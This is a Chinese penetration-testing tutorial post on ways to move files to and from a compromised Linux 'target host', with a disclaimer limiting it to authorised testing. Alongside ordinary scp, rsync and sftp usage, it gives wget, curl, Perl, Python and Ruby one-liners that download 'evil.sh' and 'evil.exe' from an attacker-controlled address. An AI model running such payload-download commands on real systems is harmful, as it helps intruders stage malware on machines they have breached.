Windows&Linux文件传输方式总结(二)

简介: Windows&Linux文件传输方式总结(二)

免责声明



本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。


文章正文


Linux

ftp

ftp在linux一般都自带,我们可以在终端输入ftp进行交互,所以我们可以在本地搭建FTP服务,之后在目标主机上通过终端下的ftp进行远程连接来下载文件

可以使用python3的pyftpdlib模块来搭建ftp:

安装

pip install pyftpdlib


启动

python -m pyftpdlib -p 2121


至此一个简单的FTP服务器已经搭建完成,访问 ftp://127.0.0.1:2121 即可

(默认IP为 127.0.0.1 、端口为 2121

可选参数:

-i 指定IP地址(默认为本机的IP地址)-p 指定端口(默认为2121)-w 写权限(默认为只读)-d 指定目录 (默认为当前目录)-u 指定用户名登录-P 设置登录密码


也可以使用IPOP启动一个简易的FTP服务:

之后在目标主机上远程下载evil.exe文件:


tftp

使用下面的命令将服务器本地文件上传到远程主机:

(从服务器下载远程主机的文件也类似,不再演示)

第一步,远程主机运行TFTP服务

apt-get install atftpd  //安装tftp服务程序mkdir /tmp/backup  //创建目录chmod 777 /tmp/backup  //修改权限sudo atftpd --daemon --port 69 /tmp/backup  //启动服务程序


第二步,Linux服务器创建测试文件并使用tftp将文件上传到远程主机

echo "sent by tftp." > tftp.senttftp 192.168.43.237put tftp.sent tftp.get


第三步,远程主机查看接收到的文件


sftp

sftp是Secure File Transfer Protocol的缩写,安全文件传送协议。可以为传输文件提供一种安全的网络的加密方法。sftp 与 ftp 有着几乎一样的语法和功能。SFTP 为 SSH的其中一部分。

用法:

运行SSH服务

systemctl start sshd


连接远程服务器:

sftp username@ip


回车之后输入服务器密码即可连接成功。

将文件上传到服务器上:

put [本地文件的地址] [服务器上文件存储的位置]


将服务器上的文件下载到本地:

get [服务器上文件存储的位置] [本地要存储的位置]



scp

scp是secure copy的简写,用于在Linux下进行远程拷贝文件/目录的命令。

和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的。可能会稍微影响一下速度。当你服务器硬盘变为只读 read only system时,用scp可以帮你把文件移出来。



另外,scp还非常不占资源,不会提高多少系统负荷,在这一点上,rsync就远远不及它了。虽然 rsync比scp会快一点,但当小文件众多的情况下,rsync会导致硬盘I/O非常高,而scp基本不影响系统正常使用。scp在跨机器复制的时候为了提高数据的安全性,使用了ssh连接和加密方式,如果机器之间配置了ssh免密码登录,那在使用scp的时候密码都不用输入。


安装:

yum install -y openssh-clients


使用:

从本地复制到远程

# 拷贝文件scp /home/test/test.txt root@192.168.0.2:/home/test/# 拷贝目录scp -r /home/test/ root@192.168.0.2:/home/test/


从远程复制到本地

# 拷贝文件scp root@192.168.0.2:/home/test/test.txt /home/test/# 拷贝目录scp -r root@192.168.0.2:/home/test/ v/home/test/



rsync

rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机之间的文件。也可以使用 rsync 同步本地硬盘中的不同目录。

rsync 具有如下的基本特性:

可以镜像保存整个目录树和文件系统可以很容易做到保持原来文件的权限、时间、软硬链接等无须特殊权限即可安装优化的流程,文件传输效率高可以使用 rsh、ssh 方式来传输文件,当然也可以通过直接的 socket 连接支持匿名传输,以方便进行网站镜象


在使用 rsync 进行远程同步时,可以使用两种方式:远程 Shell 方式(建议使用 ssh,用户验证由 ssh 负责)和 C/S 方式(即客户连接远程 rsync 服务器,用户验证由 rsync 服务器负责)。

无论本地同步目录还是远程同步数据,首次运行时将会把全部文件拷贝一次,以后再运行时将只拷贝有变化的文件(对于新文件)或文件的变化部分(对于原有文件)。

rsync 的命令格式为:

1)本地使用:rsync [OPTION...] SRC... [DEST]2)通过远程 Shell 使用:拉: rsync [OPTION...] [USER@]HOST:SRC... [DEST]推: rsync [OPTION...] SRC... [USER@]HOST:DEST3)访问 rsync 服务器:拉: rsync [OPTION...] [USER@]HOST::SRC... [DEST]推: rsync [OPTION...] SRC... [USER@]HOST::DEST拉: rsync [OPTION...] rsync://[USER@]HOST[:PORT]/SRC... [DEST]推: rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST


例子,使用下面的命令将服务器本地文件上传到远程主机:

echo "sent by rsync." > rsync.sent
rsync -v -u -a -stat rsync.sent user1@192.168.43.237:/home/user1/rsync.get


远程主机查看接收到的文件


rz、sz(lrzsz)

rz sz指令可以实现linux和windows之间的文件传输,但要求在windows客户端要安装Xshell或SecureCRT远程连接工具。

rz指令和sz指令是一对上传与下载的指令。它们的软件包名为lrzsz。

  • rz : 用于linux与windows之间的文件上传
  • sz : 用于linux与windows之间的文件下载

工具的安装: 

yum install lrzsz -y


rz sz指令使用很简单,执行rz 指令,远程连接工具会弹出windows文件选择窗口,只要选择要上传的文件即可

文件上传:

文件下载:


wget

wget 是一个从网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议下载,并可以使用HTTP 代理。"wget" 这个名称来源于 “World Wide Web” 与 “get” 的结合。当目标主机上有安装wget时,我们可以直接通过该应用程序来实现远程文件下载:

wget http://192.168.174.1:1234/evil.sh



cURL

cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行,它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具,cURL还包含了用于程序开发的libcurl,当目标主机中安装了curl时我们可以通过以下方式来实现远程下载文件到本地:

curl http://192.168.174.1:1234/evil.sh -o evil.sh



netcat



首先,我们在本地使用nc起一个监听,并传递我们想要传输的文件名称:



之后在目标主机上下载文件:


Perl

Perl是目前很受欢迎的主流脚本语言,linux主机一般都自带perl环境,我们可以在终端中使用vim来编辑一个perl脚本,之后执行perl来实现远程文件下载:

#!perl#!/usr/bin/perluse LWP::Simple;getstore("http://192.168.174.1:1234/evil.sh","evil.sh");




之后在终端运行该perl文件即可:


python


Python是目前很受欢迎的主流脚本语言,当目标主机内安装了python时,我们可以在shell中使用python来实现远程文件下载:


Type "help", "copyright", "credits" or "license" for more information.>>> import urllib2>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.sh')>>> localfile = open('local_file.sh','w')>>> localfile.write(u.read())>>> localfile.close()>>>



Ruby


当目标主机内安装了Ruby时,我们可以在终端使用vim来编辑一个Ruby脚本,之后执行Ruby来实现远程文件下载:

#!ruby#!/usr/bin/rubyrequire 'net/http'Net::HTTP.start("192.168.174.1") { |http|r = http.get("/evil.sh")open("save_location.sh", "wb") { |file|file.write(r.body)}}



成功下载文件到本地



PHP

当目标主机内安装了PHP时,我们可以在终端使用vim来编辑一个PHP脚本,之后执行PHP来实现远程文件下载:

<?php $data = @file("http://example.com/file.sh");        $lf = "local_file.sh";        $fh = fopen($lf, 'w');        fwrite($fh, $data[0]);        fclose($fh);?>


成功下载远程文件到本地

相关文章
|
13天前
|
安全 Ubuntu Linux
Metasploit Pro 4.22.6-2024111901 (Linux, Windows) - 专业渗透测试框架
Metasploit Pro 4.22.6-2024111901 (Linux, Windows) - 专业渗透测试框架
36 9
Metasploit Pro 4.22.6-2024111901 (Linux, Windows) - 专业渗透测试框架
|
2月前
|
Ubuntu 安全 Linux
|
13天前
|
自然语言处理 安全 Java
Nexpose 7.0.1 for Linux & Windows - 漏洞扫描
Nexpose 7.0.1 for Linux & Windows - 漏洞扫描
36 6
|
16天前
|
关系型数据库 MySQL Linux
MySQL数据库下载安装教程(Windows&Linux)
本文档详细介绍了MySQL的安装步骤,包括安装前的准备工作、下载安装包、Windows和Linux系统下的具体安装流程,以及如何配置MySQL服务、设置环境变量、启动服务和连接数据库等关键操作。
|
1月前
|
NoSQL Linux PHP
如何在不同操作系统上安装 Redis 服务器,包括 Linux 和 Windows 的具体步骤
本文介绍了如何在不同操作系统上安装 Redis 服务器,包括 Linux 和 Windows 的具体步骤。接着,对比了两种常用的 PHP Redis 客户端扩展:PhpRedis 和 Predis,详细说明了它们的安装方法及优缺点。最后,提供了使用 PhpRedis 和 Predis 在 PHP 中连接 Redis 服务器及进行字符串、列表、集合和哈希等数据类型的基本操作示例。
57 4
|
2月前
|
存储 Linux 编译器
cmake的单目录和多目录的使用(Linux和Windows)
本文介绍了在Windows和Linux平台上使用CMake构建单目录和多目录项目的步骤,包括如何配置CMakeLists.txt文件以及如何生成和使用可执行文件、库文件。
56 2
|
2月前
|
Linux 网络安全 虚拟化
适用于Linux的Windows子系统(WSL1)的安装与使用记录
并放到启动文件夹,就可以开机自动启动了。
77 0
|
2月前
|
关系型数据库 MySQL Linux
Navicat 连接 Windows、Linux系统下的MySQL 各种错误,修改密码。
使用Navicat连接Windows和Linux系统下的MySQL时可能遇到的四种错误及其解决方法,包括错误代码2003、1045和2013,以及如何修改MySQL密码。
277 0
|
3月前
|
Linux 开发者 Python
从Windows到Linux,Python系统调用如何让代码飞翔🚀
【9月更文挑战第10天】在编程领域,跨越不同操作系统的障碍是常见挑战。Python凭借其“编写一次,到处运行”的理念,显著简化了这一过程。通过os、subprocess、shutil等标准库模块,Python提供了统一的接口,自动处理底层差异,使代码在Windows和Linux上无缝运行。例如,`open`函数在不同系统中以相同方式操作文件,而`subprocess`模块则能一致地执行系统命令。此外,第三方库如psutil进一步增强了跨平台能力,使开发者能够轻松编写高效且易维护的代码。借助Python的强大系统调用功能,跨平台编程变得简单高效。
61 0
|
4月前
|
Ubuntu Linux 虚拟化
安装Windows Linux 子系统的方法:适用于windows 11 版本
本文提供了在Windows 11系统上安装Linux子系统(WSL)的详细步骤,包括启用子系统和虚拟化功能、从Microsoft Store安装Linux发行版、设置WSL默认版本、安装WSL2补丁,以及完成Ubuntu的首次安装设置。
1222 2
下一篇
DataWorks